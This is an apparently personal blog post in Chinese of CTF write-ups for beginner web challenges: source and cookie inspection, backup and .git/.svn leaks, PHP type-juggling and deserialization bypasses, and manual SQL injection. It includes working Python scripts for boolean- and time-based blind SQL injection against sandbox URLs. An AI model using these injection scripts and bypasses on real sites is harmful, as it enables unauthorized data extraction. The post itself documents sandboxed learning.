training-1

dawn_r1sing Lv3

第一周和第二周

1.web基础知识

攻防世界 - get_post- 简单

http两种请求方法

GET

img

POST

img

得到flag~


攻防世界- view_source -简单

打开环境后查看页面源代码,发现右键不管用了,那就换种方式查看。

按F12-查看器即可获得flag~

img


攻防世界 disabled-button 简单

题目的名字是“不能用的按钮”,那把它变成能用的不就行了。

img

和它”不能用”有关的东西就是class="btn btn-default” disabled="" 这一串了,删掉它!

能按啦!

img

得到flag~


题目就是一切~查看cookie

img

进入cookie.php

img

得到flag~


攻防世界 baby_web 中等

题目提示”初始页面“,打开环境后发现会自动跳转到1.php中,手动改成index.php,响应头中就有“FLAG“

img

得到flag~


2.信息收集

目录遍历

1
ctfhub{2e433d01c64e0febd5a67a1a}

备份文件下载

  • 网站源码

    用一个简单的python脚本找一下文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import requests
    url="http://challenge-ae98764d7ebc5438.sandbox.ctfhub.com:10800/"
    list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
    list2=['tar', 'tar.gz', 'zip', 'rar']
    for i in list1:
    for j in list2:
    url_f=url + i + "." + j
    r = requests.get(url_f)
    if (r.status_code == 200):
    print(url_f)

得到http://challenge-ae98764d7ebc5438.sandbox.ctfhub.com:10800/www.zip

下载得到文件 flag_2109710780.txt ,在网页中访问即可

image-20231016093800606image-20231016093933406

得到flag~

  • bak 文件

    通过提示可知,flag在index.php中,且为bak文件,访问…/index.php.bak即可

    得到flag~

  • vim

    vim -> 文本编辑器 ,其中的swp文件用来备份缓冲区中的一种隐藏文件,编辑文件时会产生,文件正常退出就会删除。

    故它的访问应为“.xx.swp”

    注意:因为是隐藏文件所以前面有“ . ”

    img

​ 打开:记事本(乱码中的flag)或 vim

image-20231016100210635

得到flag~

  • .DS_Store

    .DS_Store 文件存储的是 当前文件夹在桌面显示相关方面的一些自定义属性,是一种隐藏文件,通过它可以知道该目录下所有文件的清单。

    capture_20231016101349069

发现txt文件,访问!

image-20231016105030501

得到flag~


Git泄露

  • log

dirsearch扫描发现git泄露

image-20231016150129904

通过GitHack(.git泄露利用脚本)获取源代码

(先配置 git 、GitHack )

GitHack 的使用 : python2 GitHack.py url + /.git (/.git一开始给落下了懵了好久)

image-20231016161856660

进入最后面显示的文件下,git log查找历史记录(题目名字log)

capture_20231016160939165

第二条add flag是我们想要的

进入:

git diff <commit>

image-20231016162615554

git show

capture_20231016160949413

得到flag~

  • stash

前面的操作跟log一样

扫描发现git泄露

使用GitHack

再次根据题目名字 搜搜stash,发现它是一个将隐藏的东西拿出来的git操作

git stash apply

image-20231016173232139

文件夹中出现txt文件,打开

image-20231016173325806

得到flag~

  • index

log的简化版,直接git show即可

image-20231016191057181


SVN泄露

“使用SVN管理本地代码过程中,将生成名为.svn的隐藏文件夹,包含非常重要的源码信息。当网站管理员在发布代码时,没有使用导出功能,直接进行复制粘贴,导致出现SVN信息泄露漏洞”

dirsearch 扫描发现SVN泄露

image-20231016193155237

搜索“SVN泄露”,安装工具配置环境。。。

使用dvcs-ripper工具将泄露文件克隆到.svn/pristine中

img

image-20231016200036976

从这两个文件中找。。

capture_20231016200150391

成功在/3c中得到flag~


3.SQL注入(手工注入)

  • 整数型注入

根据提示先输入1

image-20231016201849017

1 order by 2试列数,有两列

image-20231016204823967

寻找注入点,是Data: 2!

image-20231016202333206

找数据库

image-20231016202459602

找表

img

找字段

image-20231016202931266

找字段内容

image-20231016203233478

得到flag~


  • 字符型注入

基本步骤同上

image-20231016204719801


  • 报错注入

    法一:函数:updatexml(1,concat(...),0) 或 extractvalue(1,concat(...))

数据库

image-20231016210926658

image-20231016211135162

有多个表。。。发现目标!

image-20231016211212256

找字段、字段内容,同上

image-20231016211349310

得到flag~

​法二:floor()

先试一下能否出现报错(Duplicate entry)

image-20231019085238727

开始注入(库、表、字段、内容)

image-20231019090022987

(后边没金币了闭了吧

剩余步骤与前面基本一致


  • 布尔盲注

数据库、表(长度、名)

capture_20231018150717426

capture_20231018152046273

明显是“flag”表

字段(名)

capture_20231018161640987

内容

image-20231018163006908

得到flag~

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
Base_URL="http://challenge-ed7e25e6e04a50a9.sandbox.ctfhub.com:10800/?id="

def length_of_database():
for i in range(1,10):
url = Base_URL + "1 and (select length(database()))={}".format(i)
respo = requests.get(url)
if "query_success" in respo.text:
print("database_length = ",i)
ret = i
break
print("************")
return ret

def name_of_database(ret):
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and (select ascii(substr(database(),{},1)))={}".format(i,j)
respo = requests.get(url)
#print(respo.text)
if "query_success" in respo.text:
print(chr(j))
break

def number_of_table():
for i in range(1,20):
url = Base_URL + "1 and (select count(table_name) from information_schema.tables where table_schema=database())={}".format(i)
respo = requests.get(url)
if "query_success" in respo.text:
print("table_number = ",i)
ret = i
break
print("************")
return ret

def length_of_table(ret):
for i in range(0, ret):
for j in range(1,30):
url = Base_URL + "1 and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={}".format(i,j)
respo = requests.get(url)
if "query_success" in respo.text:
print("table",i+1,"_length = ", j)
break
print("************")

def name_of_table(ret):
for k in range(0,2):
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and (select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema=database() limit {},1)={}".format(i,k,j)
respo = requests.get(url)
#print(respo.text)
if "query_success" in respo.text:
print(chr(j))

def length_of_column(): #应该先确定一下column的数量,犯懒就随便写了个数
for i in range(0, 4):
for j in range(1,30):
url = Base_URL + "1 and (select length(column_name) from information_schema.columns where table_name='flag' limit {},1)={}".format(i,j)
respo = requests.get(url)
if "query_success" in respo.text:
print("column",i+1,"_length = ", j)
ret = j
break
print("************")

def name_of_column(ret):
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and (select ascii(substr(column_name,{},1)) from information_schema.columns where table_name='flag' limit 0,1)={}".format(i,j)
respo = requests.get(url)
#print(respo.text)
if "query_success" in respo.text:
print(chr(j))

def comment():
for i in range(1,35):
for j in range(33,127):
url = Base_URL + "1 and (select ascii(substr(flag,{},1)) from flag)={}".format(i,j)
respo = requests.get(url)
#print(respo.text)
if "query_success" in respo.text:
print(chr(j))


if __name__ == '__main__':
#length_of_database()
#name_of_database(4)
#number_of_table()
#length_of_table(2)
#name_of_table(4)
#name_of_column(4)
#comment()

  • 时间盲注

数据库(长度,名)

image-20231018165924216

image-20231018172336069

表(数量,长度,名)

img

image-20231018210808926

字段(数量、长度、名)

image-20231018212000868

内容

capture_20231018213441928

capture_20231018214428556

but。。。为什么两次运行结果不一样呀???

地铁老人看手机

且两次的flag都不对,但综合这两个结果能猜到正确答案

ctfhub{7bf40559591c338c426168c2}

有点不信邪,重新打开环境试了一遍,又正确了。。

image-20231018225143190

(附脚本,相较上一个有细节上的改进)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import time

import requests
Base_URL = "http://challenge-9e016cd2b6d7446b.sandbox.ctfhub.com:10800/?id="

def length_of_database():
for i in range(1,100):
url = Base_URL + "1 and (select length(database()))={} and sleep(2)".format(i)
start_time = time.time()
respo = requests.get(url) #别落下!!!
#print(time.time() - start_time)
if time.time() - start_time > 1:
print("length of database = ",i)
break

def name_of_database(ret):
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and ascii(substr((select database()),{},1))={} and sleep(2)".format(i,j)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print(chr(j))
break

def number_of_tables():
for i in range(1,100):
url = Base_URL + "1 and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2)".format(i)
start_time = time.time()
respo = requests.get(url)
#print(time.time() - start_time)
if time.time() - start_time > 1:
print("number of tables = ",i)
break
return i

def length_of_tables(ret):
for i in range(0,ret):
for j in range(1,30):
url = Base_URL + "1 and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)".format(i,j)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print("length of tables",i+1," = ",j)
break

def name_of_tables():
for i in range(0,2):
for j in range(1,5):
for k in range(33,127):
url = Base_URL + "1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2)".format(i,j,k)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print(chr(k))
break
print("~")

def number_of_columns():
for i in range(1,100):
url = Base_URL + "1 and (select count(column_name) from information_schema.columns where table_name='flag')={} and sleep(2)".format(i)
start_time = time.time()
respo = requests.get(url)
#print(time.time() - start_time)
if time.time() - start_time > 1:
print("number of columns = ",i)
break
return i

def length_of_columns():
for i in range(1,30):
url = Base_URL + "1 and (select length(column_name) from information_schema.columns where table_name='flag' )={} and sleep(2)".format(i)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print("length of columns = ",i)
break
return i

def name_of_columns(ret):
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),{},1))={} and sleep(2)".format(i,j)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print(chr(j))
break

def length_of_content():
for i in range(1,35): #设大点,一开始太小了一直没结果
url = Base_URL + "1 and (select length(flag) from flag )={} and sleep(2)".format(i)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
print("length of flag = ",i)
break
return i

def content(ret):
str1 = "flag:"
for i in range(1,ret+1):
for j in range(33,127):
url = Base_URL + "1 and ascii(substr((select flag from flag),{},1))={} and sleep(2)".format(i,j)
start_time = time.time()
respo = requests.get(url)
if time.time() - start_time > 1:
str1 += chr(j)
break
print(str1)


if __name__ == '__main__':
#length_of_database()
#name_of_database(4)
#number_of_tables()
#length_of_tables(number_of_tables())
#name_of_tables()
#number_of_columns()
#name_of_columns(length_of_columns())
#content(length_of_content())

  • MySQL结构

一眼联合攻击

试!在Data处开始注入

img

capture_20231018215817861

表,有俩,根据前面的经验先看→“iuitvqwzeg”

capture_20231018215936931

capture_20231018215951118

字段

capture_20231018220603654

内容

capture_20231018220612468

得到flag~


  • UA注入

只是注入的位置不同罢了,其他地方跟上一题 一毛 一样

capture_20231018221827392


  • 绕过空格

绕过空格过滤的方式: /**/、()、%0a

此处是/**/

剩下的也跟前面一模一样

ctfhub{54bd448e20d488e5958f1fae}

得到flag~


4.PHP-Part1

攻防世界 - simple_php- 简单

可以读出a弱等于0且a为真,那a肯定不能直接等于0,但因为是弱等于所以“0e”开头就能把“a==0”打发了

image-20231018230257015

之后b不能是纯数字又要大于1234(不纯就在后面加点别的乱七八糟的东西,反正比较的时候这些会被删掉且只留下前面的数字)

image-20231018231208438

得到flag~


攻防世界 unserialize3 -中等

首先根据标题知道是与“反序列化”有关

打开靶场环境

img

  1. 并没有发现序列化之类的函数
  2. 括号没有补全,说明这只是一部分代码,unserialize()等应该没有被显示出来
  3. 根据 ?code 可知需要我们传参数,猜测后面进行反序列化的对象应该就是code,故应该给它传一个已经被序列化的参数
  4. 看到__wakeup() 方法。执行unserialize()函数之前会先查找调用__wakeup(),此处执行后会返回bad request,说明我们需要绕过它

绕过机制:利用序列化输出的对象个数大于实际值时导致之后的反序列化异常从而绕过__wakeup()

所以,我们传入的参数需要是 改大对象个数的序列化输出

步骤:

  1. 获得正确的序列化输出

image-20231020111858202

​2. 更改输出的对象个数,传参

image-20231020112112522

​3. 得到flag~


攻防世界 easyphp -中等

一关关过

1、要求a:非空、值大于6000000、长度不超过3

​ 在最短的长度下满足最大值的要求——科学计数法

image-20231020145030864

2、要求b:非空、MD5加密密文后6位为'8b184b'

​ MD5碰撞,写一个小脚本

1
2
3
4
5
6
7
8
9
<?php
for($b=1;$b<=100000000;$b++){
$MD5 = md5($b);
if(preg_match('/^8b184b/',substr($MD5,-6,6))){ //注意格式 '/^8b184b/'
echo "明文:",$b,"\n";
echo "密文:",$MD5;
break;
}
}

头铁撞出来啦

image-20231020144924953

img

3、要求c:数组、JSON

打开菜鸟教程并搜索JSON,发现这是一种格式,最后转化即可。

image-20231020150331110

4、 要求c[“m”]:非数字、大于2022

1
!is_numeric(@$c["m"]) && $c["m"] > 2022

‘不是数字’:包含几个字母

‘大于2022’:数字与字符串比较时,字符串会先转换成整型或浮点型:

​字母开头→转化成0

​字母结尾→删去字母

故:c["m"]='20221abc'

1
2
3
4
5
JSON:
"c"={
"m":"20221abc",

}

5、要求c[“n”]:数组、两个元素、第一个元素c[“n”] [0] 也是数组

1
2
3
4
5
6
7
8
JSON:
"c"={
"m":"20221abc",
"n":[
[?],
?
]
}

c["n"]中搜索"DGGJ",返回值赋给$d$d为false返回"no..."

BUT 遍历c["n"]存在"DGGJ"返回"no......"

两者似乎矛盾了。。。

此时我们可以尝试绕过函数→array_search()

因为在这个函数里“搜索”实质上进行的是一种“比较”,而字符串与数字的比较机制(见前):字母开头转换为0,故c["n"]有一个“0”元素即可

1
2
3
4
5
6
7
8
JSON:
"c"={
"m":"20221abc",
"n":[
[1],
0
]
}

得到flag~

image-20231020164406681


ctfshow web78

没钱开会员呜呜呜呜

  • Title: training-1
  • Author: dawn_r1sing
  • Created at : 2023-10-29 14:56:07
  • Updated at : 2023-10-30 08:44:34
  • Link: https://dawnrisingdong.github.io/2023/10/29/training-1/
  • License: This work is licensed under CC BY-NC-SA 4.0.